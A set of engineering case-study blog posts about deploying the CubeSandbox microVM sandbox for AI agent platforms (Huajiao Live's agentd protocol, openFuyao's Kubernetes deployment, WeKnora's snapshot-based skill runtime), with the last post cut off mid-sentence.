Architecture and Cube Practice By｜Head of Infrastructure, Huajiao Live · Wang Chenglong; CTO, Huajiao Live · Feng Bingqing **Editor's note:** Most teams adopt an Agent sandbox thinking "we need isolation, so let's add a sandbox." The Huajiao team worked in a different order: they first designed the Agent platform as a configurable execution-environment abstraction, where the sandbox is just one option in that abstraction layer — each Agent decides whether to use it based on its own isolation needs. This practice record covers how that thinking landed: from organization-level isolation decisions, to contributing the Go SDK, locating and fixing a snapshot-restore bug in host-mount scenarios, and redefining a terminal protocol on top of CubeSandbox. ## 1. The Sandbox Is One Option Among Execution Environments Huajiao Live is a product of Huafang Group. Our enterprise Agent platform first completed its 0-to-1 validation on the Huajiao Live business side; subsequently, building on the accumulated underlying capabilities, we set up an independently deployed instance for the Huafang Group middle platform. * Huajiao Agent mainly serves Huajiao Live's internal design, product, engineering, operations, customer service, and moderation departments. The app center currently has 25 entries online, including the DMG business assistant, ChatBI, content operations assistant, design assistant, product assistant, H5 page generation assistant, customer service assistant, moderation data analysis assistant, business intelligence platform, and telesales platform — plus a standalone consumer-facing product. * Huafang Agent serves the Huafang Group middle platform and has landed in 5 departments — economic systems, data, administration, legal, and GR (government relations) — including the BI data assistant, administration assistant, legal workbench, and GR workbench. The two deployments are based on the same Agent Runtime, serving Huajiao Live's business departments and Huafang Group's middle-platform departments respectively, with about 30 different Agent applications landed in total. Huajiao's practice completed the 0-to-1 validation of the platform and business applications; Huafang's practice further proved that the same underlying capabilities can be independently deployed and reused across organizations. ![Huajiao Agent and Huafang Agent platform screenshots](./assets/2026-09-17-huajiao/01-agent-platform-screenshot.jpg) *Figure 1: Huajiao Agent and Huafang Agent platform screenshots* When building the Agent platform, we first drew a boundary: no business-related code goes inside the platform. All Agent capabilities are generated through backend configuration. This way, one architecture can be fully reused for Agents in any scenario, without redeveloping and "reinventing the wheel" for each new business. The analogy: the Agent platform is the operating system, Agents are the applications running on it, and Skills are the various development frameworks and SDKs. The most critical abstraction in this architecture is the execution environment — when the LLM wants to execute a command, where exactly it executes is the question the execution environment answers. One Agent can be configured with one or more execution environments, and dynamic registration and removal of personal private execution environments is also supported. An execution environment's OS can be Windows, Linux, or macOS; its deployment form can be bare metal, ordinary cloud servers, or Kubernetes. Every execution environment starts a daemon responsible for communicating with the Agent platform. **CubeSandbox is one sandbox option we integrated into the execution-environment service; it is currently deployed only on ordinary cloud servers, with K8s scenarios to follow.** Whatever the nature of the execution environment itself, a sandbox can optionally be used on top of it. We set no uniform rule for when a sandbox is warranted — we judge by the Agent's positioning. The core question is just one: do the resources on this execution environment need to be physically isolated among multiple users? If the Agent manages a dedicated machine whose work output is consumed by a single party, using a sandbox or not makes no difference; once the same execution environment serves multiple users and everyone's working state must be independent of each other, we generally choose the sandbox. In other words, the isolation decision is not made uniformly at the platform layer — it lands on the concrete execution environment along with the Agent's positioning. Between Agents, we decide whether to use a sandbox by the standard of "do resources need physical separation"; between organizations, we applied the same standard at a higher level. For example, Huajiao Agent and Huafang Agent use two completely independent instance deployments — platform services, account permissions, business data, application assets, execution environments, and CubeSandbox instances are managed separately, with no shared control plane. That's because at this stage we value clear, auditable security boundaries between different organizations more than the resource-reuse efficiency a shared control plane would bring. ## 2. Selecting and Landing Cube Sandbox Before selection, we used the most primitive approach: directory isolation on a single server. It brought a series of problems: no isolation capability — user A could theoretically operate on user B's files through the Agent. We evaluated several other categories of options and rejected them one by one: Docker was slow to start, incompletely isolated, and low-performing; traditional VMs were costly and inflexible in resource allocation. Among MicroVM-level options, after researching and benchmarking startup speeds, we found CubeSandbox the fastest, with features and performance meeting expectations — strong isolation in particular was experimentally confirmed to meet our needs — so we adopted it. After selection was settled, the first practical problem was: where does user data live? Sandboxes themselves are reclaimable, but users' working state must be preserved across sandboxes. Our initial approach was mounting external disks: user data needs persistence and must not be lost to cloud server failures, so it went on a data disk rather than the system disk. Later, considering high availability, we found that ordinary data disks cannot be attached to multiple cloud servers simultaneously, so we upgraded to an NFS solution — all persistent user data is written to an NFS directory; when a cloud server fails, a new machine immediately starts up, mounts the same NFS, and continues serving, losing only the in-flight processes. This solution integrates with CubeSandbox via the host-mount mechanism: the execution-environment daemon deployed on cloud servers maps different directories into the sandbox; no privilege escape is possible from inside the sandbox, and the daemon only concerns itself with the smallest granularity — one session maps to one sandbox. During landing, what we encountered was not only application-layer questions of "how to use CubeSandbox," but also several occasions where we had to touch CubeSandbox's own code directly. We have been using CubeSandbox since its very first release version. Back then there was no official Go SDK, so we wrote one ourselves, aligned with the Python SDK's capabilities, and submitted it to the official repository ([PR #254](https://github.com/TencentCloud/CubeSandbox/pull/254)) "Add Go SDK" — a single submission with complete capabilities including lifecycle management, command execution, file reading, and proxy transport, totaling 15 files and 3,288 new lines of code. On the day it merged, official code review found that `Sandbox.Close()` would accidentally close the HTTP connection pool shared by multiple sandboxes, and we promptly submitted ([PR #322](https://github.com/TencentCloud/CubeSandbox/pull/322)) to fix it. Another, deeper problem appeared in the hibernate/wake scenario. Sandboxes with mounted disks had a bug during pause and resume; we traced the root cause to CubeSandbox not preparing the migration metadata virtio-fs needs when snapshotting host-mount scenarios — the root inode therefore lost its migration state, and restore failed with InvalidVirtioFsState. We subsequently submitted ([PR #341](https://github.com/TencentCloud/CubeSandbox/pull/341)) and ([PR #354](https://github.com/TencentCloud/CubeSandbox/pull/354)) for the fix and follow-up hardening, but closed PR #354 ourselves after testing, because we weren't sure the change was perfect. Our current practice is to destroy the sandbox and rebuild it directly, bypassing the parts not yet resolved. ![Huafang Group Agent platform management console](./assets/2026-09-17-huajiao/02-huafang-console.jpg) *Figure 2: Huafang Group Agent platform management console* CubeSandbox has now been running in our production environment for over 3 months, supporting about 30 Agent applications across the Huajiao and Huafang instances, with daily token consumption of about 83 million. ## 3. agentd: Redefining a Terminal Protocol on Top of CubeSandbox To enrich the capabilities we expose externally, we added a self-developed terminal protocol layer on top of Cube Sandbox — agentd — which interfaces with the Agent platform's execution-environment service and coexists with the envd bundled in Cube templates, each with its own division of labor. It starts by default when the sandbox template is built. ### 3.1 agentd's Positioning and Why We Built It envd itself doesn't lack basic capabilities like command execution, file read/write, or PTY. CubeSandbox's official documentation defines it as the Sandbox's native data plane: template probes and initialization, as well as the SDK's command/file APIs, all depend on it; command, file, filesystem, and PTY-related requests are routed to envd's port 49983. But the agentd we developed is not a simple gap-filler for envd — it is a **dedicated terminal-session data plane whose semantics the platform defines and owns** for exec\_command / write\_stdin. **We built agentd for three reasons.** First, we needed a terminal protocol we define ourselves and can evolve independently over the long term, rather than binding the runtime's session model directly to the external API semantics of Cube or E2B. Second, we needed an interface (StatFiles) that could directly verify "whether mounted skills and artifacts are actually visible inside the Sandbox," plus a bearer-token authentication boundary under our own control. Third, early in implementation we hit a concrete defect — the Cube API didn't pass the environment variables set at Sandbox creation through to CubeMaster, which broke our original plan of injecting a random AGENTD\_TOKEN into each Sandbox; we later switched to a fixed token shared between the template and the Worker. More precisely: what agentd fills in is the contract, controllability, and failure semantics we ourselves need — not the general-purpose execution capabilities envd might be missing. | Dimension | envd | agentd | |:--|:--|:--| | Port | 49983 | 49984 | | Ownership | CubeSandbox native component | Service inside this repo's templates | | Cube template/init | Required | Not responsible | | Cube native SDK command/file APIs | Used | Not used | | This platform's exec\_command / write\_stdin | Not routed through it currently | The sole execution data plane currently | | Lifecycle operations | Not responsible | Not responsible | | Sandbox create/pause/resume/destroy | Handled by Cube API / Cube SDK — neither is at that layer | Same | ### 3.2 How agentd Works It starts as the template's main command (PID 1), listens on 0.0.0.0:49984, and exposes a deliberately narrow set of HTTP APIs: * `GET /healthz`: liveness, version, active session count; * `POST /v1/sessions`: start a shell command; * `GET /v1/sessions/{id}`: long-poll output from a given chunk cursor; * `POST /v1/sessions/{id}/stdin`: write to standard input; * `POST /v1/sessions/{id}/resize`: resize the PTY; * `DELETE /v1/sessions/{id}`: close the session; * File reading, batch stat, and fetch-from-URL-and-write-to-file. ### 3.3 The Critical Path of One Command Execution 1. The outer Worker finds or creates the dedicated Sandbox for the thread, preparing the workspace, uploading files, skills, and persistent directory mounts; 2. The Worker constructs the address `http(s)://49984-.` via CubeProxy to reach agentd, rather than calling the Cube SDK's native command API; 3. agentd creates an independent process group for this execution — TTY commands go through a PTY, non-TTY commands have stdout and stderr captured separately; output is written to a bounded in-memory ring buffer with monotonic chunk\_ids, and the outer Worker polls increments with a cursor, never re-reporting the same segment; 4. Short commands return their terminal state directly; long commands return a session\_id, which the Worker maps to our own write\_stdin session, continuously polling in the background and reporting output and exit results; 5. timeout\_ms cancels the process; after a session ends, a short TTL is kept before reclamation, and only when CubeSandbox disconnects or agentd stays persistently unhealthy does the Worker judge the session as session\_lost. What this mechanism truly solves is not "can we run shell commands," but pinning down the whole set of terminal semantics we need — PTY, standard input, chunk cursors, output truncation, explicit timeout/exit states, session-loss determination, and a consistent mapping between these states and the platform's own persistent task states. ![How agentd runs in the CubeSandbox path](./assets/2026-09-17-huajiao/03-agentd-runtime.jpg) *Figure 3: How agentd runs in the CubeSandbox path* envd and agentd currently coexist with a clear division of labor: envd runs on port 49983 — it is CubeSandbox's native component, required for Cube template initialization, and the Cube native SDK's command and file APIs go through it; agentd runs on port 49984 — a service bundled in our templates, not responsible for template initialization, not using the Cube native SDK, and our sole execution data plane today. Neither handles sandbox lifecycle operations like create, pause, resume, or destroy — that part is always handled by the Cube API and SDK. Deployment scripts expose both ports and write them into template state: envd\_port=49983, agentd\_port=49984. agentd is the main command in the template, but that doesn't mean it takes over Cube's infrastructure responsibilities — Cube still needs its native envd for template readiness and initialization; we simply proxy our own terminal and file protocol directly onto agentd, on an already-created, network-reachable Sandbox. In our own words: what agentd flattens away is the execution-environment type — whether the underlying layer is CubeSandbox or another sandbox option, the business side talks to the same agentd protocol, without needing to know what is actually running underneath. ## 4. A Correction in Resource Understanding On resource allocation, we went through a complete correction of understanding. Initially, we didn't understand sandboxes well enough: we assumed resources were dynamically allocated by actual usage, didn't know there was a pre-allocation mechanism, and therefore made no spec configuration for sandboxes at all. When memory ran short, the cloud server's monitoring alert fired first, and we urgently scaled up the server. At the time we didn't dig into whether this memory shortage was specifically an OOM, a hang, or a slowdown — we suppressed the problem first, and only afterward looked back at CubeSandbox's default configuration, found the defaults reasonably sound, and left them unchanged. Based on this experience, our resource planning is now split into two tiers: a small-spec cloud server for the test environment, a mid-to-high-spec server for production, plus an idle-sandbox reclamation mechanism, dynamically adjusting server specs in conjunction with the cloud server's own monitoring alerts. Our reference suggestion for other teams using sandboxes: be clear about what a sandbox is — treat it as a high-performance, strongly isolated virtual machine, and don't presume it will auto-scale by actual usage like some kind of elastic resource pool. ## Closing Thoughts Looking back, what's most worth recording in this practice is our two layers of thinking: * One is "execution environments are configurable, and the sandbox is just one of the options" — this layer pushes the isolation decision down to each Agent itself; * The other is "the native protocol CubeSandbox provides doesn't have to be our only dependency" — agentd's existence proves our willingness to add a layer of terminal semantics we fully control, on top of CubeSandbox's native data plane. These two layers of thinking point to the same conclusion: the sandbox is a component we have repeatedly validated and adopt on demand — not a default applied by convention. --- --- url: https://cubesandbox.com/blog/posts/2026-09-17-openfuyao.md description: >- openFuyao is an open-source community for general-purpose and intelligent computing cluster software innovation, with its compute infrastructure built entirely on K8s. The openFuyao Agent Sandbox SIG team moved the whole CubeSandbox stack into a K8s cluster, achieving the division of labor: 'K8s manages the nodes, CubeSandbox manages the sandboxes.' This article records the technical thinking behind that division — which responsibilities go to K8s, which stay with CubeSandbox, where the boundary is drawn — and how the network, process, feature-semantics, and scheduling problems along the way were solved one by one. --- # Running CubeSandbox on Kubernetes: Deployment and Production Practice By｜openFuyao Community Agent Sandbox SIG · Wang Wentao (Full-Stack Engineer) / Li Aihua (Maintainer) **Editor's note:** openFuyao is an open-source community for general-purpose and intelligent computing cluster software innovation, with its compute infrastructure built entirely on K8s. The openFuyao Agent Sandbox SIG team moved the whole CubeSandbox stack into a K8s cluster, aiming to let sandbox compute nodes be elastically scaled and rolling-upgraded by K8s like ordinary workloads. Through technical innovation at multiple layers, the openFuyao Agent Sandbox SIG team achieved the division of labor: K8s manages the nodes, CubeSandbox manages the sandboxes. This practice record covers the technical thinking and evolution behind that division — which responsibilities go to K8s, which stay with CubeSandbox, and where the boundary is drawn — as well as how the network, process, feature-semantics, and scheduling problems encountered along the way were solved one by one. ## 1. Why Run CubeSandbox in K8s In CubeSandbox's early open-source days, the default deployment form was direct installation on physical machines. * Control plane (CubeAPI / CubeMaster / CubeProxy / CoreDNS), with Docker Compose managing MySQL/Redis * Compute plane (Cubelet / network-agent / CubeShim / CubeHypervisor) running as host processes. This form works out of the box on bare-metal single machines or multi-machine clusters, but presents many inconveniences for large-scale cluster management. Our compute infrastructure is built entirely on K8s. The delivery, scheduling, elastic scaling, monitoring, and configuration of all workloads are handled by K8s. If CubeSandbox kept its physical-machine deployment form, we would have to maintain two operational systems on the same platform: releases going through K8s CI/CD on one track and systemd on another; monitoring hooking into Prometheus + K8s events on one track and host agents on the other; certificates, configs, and secrets rotating through separate channels. The mental cost is doubled. The final form we expect: sandbox compute nodes should be elastically scaled and rolling-upgraded by K8s like ordinary workloads. So we **packaged CubeSandbox's control plane, data plane, and compute plane as standard K8s workloads — letting K8s take on infrastructure orchestration, and letting CubeSandbox itself take on sandbox lifecycle management and scheduling**. The overall architecture does not intrude on K8s's core control plane — APIServer, Scheduler, etcd — and uses only standard K8s primitives (CRD / Operator / native scheduling), introducing no extra orchestration components. We previously submitted the proposal to the community as [discussion #636 (CubeSandbox on Kubernetes)](https://github.com/TencentCloud/CubeSandbox/discussions/636). ## 2. The K8s-Based Deployment Architecture How Cube Sandbox components map onto K8s: | Cube Component | K8s Form | Key Points | |:--|:--|:--| | **Cubelet + network-agent + cube-egress + CubeShim + CubeHypervisor** | **DaemonSet (Big Pod)** | Privileged pod; mounts hostPath /dev/kvm, /data/cubelet, etc.; sandboxes run inside the Big Pod | | **CubeAPI / CubeMaster / CubeProxy** | **Deployment** | Deployment + Service; CubeMaster mounts a PV to store template data, preventing template loss on restart | | **MySQL / Redis** | StatefulSet | Stores business data | | **CoreDNS** | Reuse cluster CoreDNS | Configure domain forwarding for cube.app | *Table 1: The K8s-based CubeSandbox deployment plan* The keys to this architecture: * A Cube Node runs as one Big Pod containing the key business components cubelet / network-agent / cube-egress; * It is responsible for node-side sandbox create/destroy/snapshot/network isolation; * The Big Pod runs with container networking; sandbox network information is managed via eBPF and can follow the Big Pod's lifecycle, avoiding polluting the host network and reducing conflicts with other eBPF network managers. ![K8s cluster deployment architecture overview](./assets/2026-09-17-openfuyao/01-k8s-cluster-architecture.jpg) *Figure 1: K8s cluster deployment architecture overview* As shown, there are three layers — Access Layer / Control Plane / Compute Plane. Every Cube Node contains a cubelet Big Pod, and each Big Pod embeds Sandbox VMs. ## 3. Two Key Problems: Discovery and Solutions ### 3.1 Same-Node Access to Sandbox Network Fails Soon after running the compute plane in Big Pods, we hit the most memorable problem — we documented it as [issue #443](https://github.com/TencentCloud/CubeSandbox/issues/443). The symptoms: * Host node IP 76.0.121.10 * Big Pod IP hosting cubelet/network-agent: 172.24.205.149 * Sandbox IP 192.168.0.3, listening on port 49999; eBPF maps the port to Pod port 20007. We organized the symptoms into 5 controlled scenarios: | Scenario | Source | Target | Result | |:--|:--|:--|:--| | 1 | Another host node 76.0.145.47 | 76.0.121.10:20007/health | ✅ OK (a route was added on 76.0.121.10 forwarding :20007 to pod 172.24.205.149:20007) | | 2 | The cubelet pod itself (172.24.205.149) | 192.168.0.3:49999/health (direct to sandbox IP) | ✅ OK | | 3 | Another pod on the same node, cubeproxy (172.27.205.177) | 172.24.205.149:20007/health | ❌ No response | | 4 | Same-node host 76.0.121.10 | 172.24.205.149:20007/health | ❌ No response | | 5 | The cubelet pod itself (172.24.205.149) | 172.24.205.149:20007/health (via podIP:mapped port) | ❌ No response | One-sentence summary of the symptom: **whenever traffic comes from the same node and targets the "mapped port" (podIP:20007), it always fails; cross-node traffic (via the node's physical IP + route) or direct-to-sandbox-IP works fine.** Our main analysis steps from symptom to root cause: 1. **Rule out the application layer first**: scenario 2 works, proving the sandbox service itself, the TAP device, and the from\_cube direction are all fine; the problem lies only in the inbound path "outside → mapped port." 2. **Distinguish "cross-node" from "same-node"**: scenario 1 works while 3/4/5 fail; the difference is whether inbound traffic traverses the **node's physical NIC**. This is the most critical point. 3. **Capture packets with nettrace**: analysis showed cross-node traffic forwarding normally in the kernel, while same-node traffic forwarding showed only traffic entering the sandbox — nothing coming back out. 4. **Capture on the TAP device**: attach tcpdump directly to the sandbox's TAP device (named like z192.168.0.3): cross-node SYNs arrive normally; same-node traffic shows cksum problems. 5. **Inspect the BPF programs and maps**: bpftool prog show / bpftool map show confirm whether from\_world and remote\_port\_mapping are properly attached, and whether the mapping table has the entry 20007 → (tapIfindex, 49999). 6. **Modify the BPF program to add key logs**: add bpf\_printk logging to the eBPF program for packet-drop analysis; the logs are printed to /sys/kernel/debug/tracing/trace\_pipe. The packet captures and eBPF logs point to the same root cause: same-node traffic hits a cksum error when passing through the TAP device and gets dropped by the kernel. Code walkthrough confirmed the reason — when forwarding same-node traffic, eBPF doesn't fill in the pseudo-header fields, so checksum validation inevitably fails. Behind this bug lies a history of upstream evolution in virtio-net TAP offload capabilities: * v0.2.0 ([PR #110](https://github.com/TencentCloud/CubeSandbox/pull/110)): the hypervisor advertised TSO/UFO/CSUM offload capabilities to the guest; CHECKSUM\_PARTIAL packets from the guest, once they hit a host NIC that doesn't support the corresponding offloads, would cause network anomalies and even affect other traffic on the same host. Upstream therefore **disabled** virtio-net TAP TSO/UFO/CSUM in v0.2.0. * v0.4.0 ([PR #505](https://github.com/TencentCloud/CubeSandbox/pull/505) + [PR #469](https://github.com/TencentCloud/CubeSandbox/pull/469)): upstream replaced bpf\_csum\_diff() with bpf\_{l3,l4}\_csum\_replace and enabled TX checksum/TSO offload on TAP, **re-enabling** TSO/UFO/CSUM (rolling back #110), while dropping the disableGRO() requirement on host NICs. Among the issues linked from PR #469 is our issue #443. issue #443 was filed during the v0.3.x era, when TAP offload was still disabled; once the compute plane moved into pods and offload semantics became inconsistent between TAP and pod veth, the L4 checksum of same-node inbound packets fell into a "nobody fills it in" state — manifesting as "checksum validation fails." Our issue drove the diagnosis, and the final fix was completed upstream in v0.4.0. ### 3.2 The cubelet Orphan Process and PID 1 in Pods The symptom of this problem: after cubelet moved into K8s, the pod couldn't run properly. Code analysis showed the problem lay in cubelet's own process model — it was designed assuming it runs directly under host systemd; inside a pod, that assumption conflicts with PID 1. First, look at cubelet's startup flow (main.go:62-106): The flow shows: process A establishes an independent mount namespace, forks process B which inherits that namespace; process B in turn kills process A to release resources and avoid process A holding the ns fd, which would affect later cleanup. In the end, only process B (the orphan) survives, running the actual cubelet service. The core contradiction: process B kills its own parent (process A) and becomes an orphan. Orphans in a container get reparented to PID 1. If PID 1 mishandles this (say PID 1 is process A itself, or PID 1 exits), the container crashes. Our solution is to give the pod a real init process: tini as PID 1, an entrypoint script that starts cubelet in the background, plus a preStop hook and a pidfile. Three roles, each handling one thing: tini reaps orphans and forwards signals; bash monitors process B and triggers cleanup; pidfile + preStop ensure external signals can precisely target the real cubelet process. With this combination, cubelet's original "process A builds the ns, process B inherits and kills its parent" model is fully preserved — we didn't change a single line of cubelet code for K8s. ## 4. Four Semantic Shifts When Moving Cube Features into K8s Currently, in the K8s scenario, we use many of Cube Sandbox's key features, such as template distribution, snapshot, pause-resume, host-mount, egress control, network policies, the E2B interface, and ARM adaptation. During usage, we also ran into problems; our experience is summarized below: **1. Template distribution.** CubeMaster's templatecenter distributes template artifacts to compute nodes. In K8s, template artifacts land on the compute-plane pods' local disks, so "distribution" is really point-to-point transfer from CubeMaster to each node's cubelet. If CubeMaster or a compute-plane Big Pod restarts, the templates stored on it are lost. Our experience: for CubeMaster losing its stored templates on restart, mount a PV; when upgrading the compute-plane cubelet Big Pod, store templates on a persistent hostPath for local templates — make it follow the node, not the pod. **2. host-mount.** This feature has a semantic trap: the "host" CubeSandbox refers to is the machine cubelet runs on, but under K8s, cubelet itself runs inside a pod. To let real node directories penetrate into sandboxes, the compute-plane pod must have both hostPath volumes and privileged mode. **3. Network policies block K8s CIDRs by default.** CubeVS has an "always deny" CIDR list: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16. **And K8s pod/cluster IPs almost all fall inside these ranges** — meaning by default, sandboxes cannot reach K8s internal services (in-cluster APIs, databases, other pods). If a sandbox needs to access these ranges, you must explicitly allow the target service CIDR via allow\_out, or you'll hit "sandbox can't reach in-cluster services." **4. network-agent startup failure.** After deploying on K8s Pods, network-agent needs to get a MAC address from the NIC at startup. Inside a pod container, it can't get the MAC, so startup fails. Our solution is a three-step approach — **"resolve the gateway IP from the routing table → exact-match by IP in the neighbor table → lenient state filtering"** — which first solved the wrong-gateway-MAC problem in K8s Pod environments, and, by also accepting states like NUD\_STALE/NUD\_PROBE, tolerates the window where the ARP cache hasn't refreshed yet at pod startup. ## 5. The Conflict Between K8s Scheduling and CubeSandbox's Own Scheduling After all features were ported, one last "scheduler conflict" problem remained. **CubeSandbox has its own scheduler** (CubeMaster, with default overcommit\_ratio of 3× CPU / 2× memory); K8s also has its scheduler. The two must have clearly divided responsibilities, or problems arise: * **K8s schedules at the granularity of "compute-plane pods"**: deciding which node runs cubelet, with how much CPU/memory request/limit. * **Cube schedules at the granularity of "individual sandboxes"**: deciding which cubelet (node) a sandbox lands on. The conflict point is resource limits. If K8s caps the compute-plane pod's resources.limits too tightly, Cube's overcommit (CPU 3×) gets backfired by K8s cgroups — Cube believes it can still fit more sandboxes, while the K8s cgroup has already throttled the pod's CPU. Our avoidance plan: keep K8s scheduling at the "node level," and leave sandbox bin-packing to CubeSandbox. We recommend giving compute-plane pods generous or no CPU/memory limits, leaving bin-packing to Cube's own overcommit and physical-load protection; K8s only decides whether this node runs cubelet. ## 6. Advice for Other Teams After practice and exploration in real scenarios, we have three pieces of advice for other teams landing CubeSandbox on K8s: 1. **Keep K8s scheduling at the "node level" and leave sandbox bin-packing to CubeSandbox**: don't cap compute-plane pod resource limits too tightly, or CubeSandbox's overcommit will be backfired by K8s cgroups. 2. **Network policies should explicitly allow in-cluster service CIDRs as needed**: CubeVS denies 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 by default; for sandboxes to reach K8s internal services, allow\_out must be set explicitly. 3. **Give compute-plane and control-plane pods dedicated taints + system-node-critical priority**: avoid sandbox avalanches caused by K8s eviction. Cube Sandbox has provided a native K8s deployment plan since v0.6.0, whose deployment model is similar to our self-built one — a fast switch to the community-native capability is possible, and building on the community model lets us evolve faster with the ecosystem's power. Based on our business scenarios, we also hope the community continues building five capabilities: 1) cross-machine pause and resume (already supported in v0.7.0, preview); 2) cross-machine Snapshot sandbox startup (already supported in v0.7.0, preview); 3) control-plane/data-plane isolation with zero-downtime data-plane upgrades; 4) higher sandbox creation throughput; 5) compatibility with more eBPF-based CNI plugins (such as cilium / calico). --- --- url: https://cubesandbox.com/blog/posts/2026-09-17-weknora.md description: >- WeKnora is Tencent's open-source enterprise LLM knowledge platform. Its sandbox layer supports three backends — Cube Sandbox, E2B, and Docker — with Cube Sandbox already running the full chain of session binding, skill snapshots, pause/resume, template management, and network policies. This article records how WeKnora designed and built on Cube Sandbox, and answers a more fundamental question: what role should a sandbox play in an Agent platform? --- # WeKnora: Building a Persistent Agent Runtime on CubeSandbox By｜Tencent Technical Experts, WeKnora Project Maintainers · Chen Yang, Zhao Hailong **Editor's note:** WeKnora is Tencent's open-source enterprise LLM knowledge platform. Since open-sourcing in August 2025, its popularity has kept climbing, now at 24.4k stars. It turns enterprise document assets into RAG Q\&A, ReAct agents, and a self-maintaining wiki. Its sandbox layer supports three backends — Cube Sandbox, E2B, and Docker — with Cube Sandbox already running the full chain of session binding, skill snapshots, pause/resume, template management, and network policies. This article records how WeKnora designed and built on Cube Sandbox, and answers a more fundamental question: what role should a sandbox play in an Agent platform? ## 1. The Full Picture of Cube Sandbox in WeKnora WeKnora's latest release, v0.8.0, centers on the skill sandbox runtime: session-resident Docker/E2B/Cube sandbox backends with per-space network policies. In WeKnora, the sandbox is not an auxiliary executor for one-off commands — it is the runtime environment for Agent skills. Docker / E2B (including E2B Cloud and any E2B-compatible control plane) / Cube are three parallel backends. The application layer doesn't branch by vendor; it goes through the same RemoteSandboxClient + session binding, and deployers choose by isolation strength and operational form. On the CubeSandbox path, WeKnora's usage falls into seven main areas: | Usage | Cube Mechanism | What It Solves | |:--|:--|:--| | **Session-persistent sandbox** | Create + metadata session binding | One session binds to one sandbox; packages installed, files created, and services started in the last turn are still there in the next | | **Skill snapshotting** | CreateSnapshot (snapshot ID as TemplateID) | A sandbox with skills installed is snapshotted; new sessions are created directly from the snapshot, skills ready in seconds | | **Pause/resume** | onTimeout=pause + autoResume | Auto-pause when idle, auto-resume on the next Connect, memory state preserved | | **Session filesystem** | envd Files API | Attachments, artifacts, and the cross-tool-call workspace all live in /workspace | | **Command execution** | Commands API + stdin injection | The Agent runs scripts inside the session with traceable results | | **Template management** | Template CRUD + dedicated image variant | weknora-sandbox:\*-cube images carrying the envd data plane | | **Network policies** | Outbound/inbound dual switches + L7 rules | Per-space control over whether a sandbox can reach the internet or be reached publicly | The three backends in WeKnora's sandbox layer can be swapped without changing a single line of upper-layer business code. Two layers of design support this constraint: * The first layer is the neutral interface RemoteSandboxClient: six lifecycle methods — Create, Connect, Get, List, Delete, Exec — plus four auxiliary interfaces for files, snapshots, templates, and inbound tokens. Cube-specific types, error codes, and HTTP semantics are all translated into neutral DTOs and RemoteErrors with stable Kinds; not a single line leaks outward. * The second layer is capability advertisement: the application layer never writes `if cube`; instead, it queries capability accessors at runtime — in-session command execution, session filesystem, turn markers, install commands. If an accessor returns nil, the capability is unavailable under the current configuration, and the application layer decides which features to register accordingly. ![WeKnora x Cube Sandbox integration architecture](./assets/2026-09-17-weknora/01-weknora-cube-architecture.jpg) *Figure 1: WeKnora x Cube Sandbox integration architecture* CubeRemoteClient carries all the adaptation code for the Cube backend, consolidated in a single file; it implements four interfaces at once, and all calls are divided into two planes: | Plane | Call Contents | Transport Path | |:--|:--|:--| | Control plane | Create / Connect / List / Template CRUD / Snapshot CRUD | Through a shared gateway connection pool, reusing the same transport as the E2B backend | | Data plane (envd) | Files operations (Write/Read/List/MakeDir/Remove/Stat) + Commands execution | Preserves the SDK's proxy dial rewriting (ProxyNodeIP/Port/Scheme), wrapped in a dedicated transport | Currently, WeKnora integrates Cube in three main forms: bare metal, PVM, and K8s (still in preview). ## 2. The Sandbox's Role Shift: From "Run and Destroy" to "Persistent Runtime" These capability and architecture designs in the usage panorama only evolved into their current shape after several real-world problems. The initial backend was Docker, implemented as `docker run --rm` every time — run and destroy. It exposed three problems: 1) missing session state — packages installed in one turn were gone the next; 2) shell execution, attachment staging, and artifact collection couldn't be registered in the capability matrix; 3) timeouts killed the client process while the container kept running in the background. Only after switching to "one session, one long-lived container" did behavior align with Cube/E2B. But Docker's ceiling was also obvious: it couldn't deliver three of our underlying requirements — cross-host scheduling, kernel-level isolation, and memory-state snapshots. For scenarios running model-generated code, a shared-kernel isolation boundary wasn't enough either. These three gaps pushed our selection toward remote sandbox services. For remote sandbox integration, WeKnora chose the E2B protocol. The turning point came when the skill persistence requirement appeared. Skill environments need to be built, baked into images, and version-managed — these are control-plane capabilities. The E2B protocol also covers template building and network control; the difference is granularity: snapshotting a running sandbox directly, using a snapshot ID as a template, and outbound control extending allowOut/denyOut into L7 rules. These are exactly the capabilities the skill-image approach needs, and Cube's control-plane API maps to them one by one. This is why WeKnora maintains a dedicated Cube adapter alongside the E2B adapter. WeKnora's initial design for skill persistence was "one skill, one volume" — each skill mounted into the sandbox as a volume. Because E2B Volumes was still in private beta at the time, our first release switched to Cube, and before writing any code we swapped the whole approach from volume mounts to snapshots. This forced detour later proved to be the better path. At this point in the evolution, the sandbox's role had fundamentally changed. **It is no longer an execution container for "running a command in a sandbox" — it is the persistent runtime environment for Agent skills**: skills are pre-installed inside, sessions happen inside, and files "live" inside. ## 3. Skill Persistence: Turning Snapshots into Releases The cost model of skill installation dictates that it cannot be amortized across sessions. What does installing a skill involve? Parsing SKILL.md, installing system packages and Python/Node dependencies, running install verification. That alone is a multi-minute agent conversation. Having users wait for a live install when they start a session is too slow; installing one copy per session is too wasteful. So the skill environment must be frozen into an immutable artifact, and sessions start directly from that artifact. Why snapshots instead of volumes? The two represent opposite models. Volumes are shared and writable — good for datasets. What a skill environment needs is "verified and immutable": after installation, the skills directory is owned by root and read-only; ad-hoc `pip install` in a session can only land in the /workspace overlay and cannot pollute the image. For skills that depend on system packages, the volume approach is hard to support and carries the risk of installed skills being modified by the agent. This path works because of four properties of Cube snapshots: * **A snapshot ID can be used directly as the TemplateID in CreateOptions**: the session side never knows the word "skill" — it simply swaps to a different template. * **Snapshots can be taken of a running sandbox**: the install process is ordinary exec plus file writes, with no separate image-build pipeline needed. * XFS reflink/CoW keeps the storage density and incremental cost of "base template + one layer of installed dependencies" reasonable. * Snapshots share the same lifecycle semantics as sandbox keep-alive, with complete supporting tooling. The full install chain: create a sandbox from the base template → the installer runs the installation → verification passes → the ledger is persisted first, then CreateSnapshot is called → the SnapshotID is recorded. All subsequent new sessions are created with the snapshot ID in place of the template ID — skills ready in seconds. Snapshot "ownership" is guarded by a fingerprint mechanism. The fingerprint is SHA-256(provider + APIKey + APIURL) — identifying the provider account the snapshot lives in. The install path, snapshot-validity checks, and config parsing all compute the fingerprint from the same inputs, guaranteeing consistent judgment. After credential rotation, fingerprints mismatch, old snapshots silently invalidate, and sessions automatically fall back to the base template — instead of starting up with an image ID that no longer exists. When the fingerprint is empty, the install flow refuses to 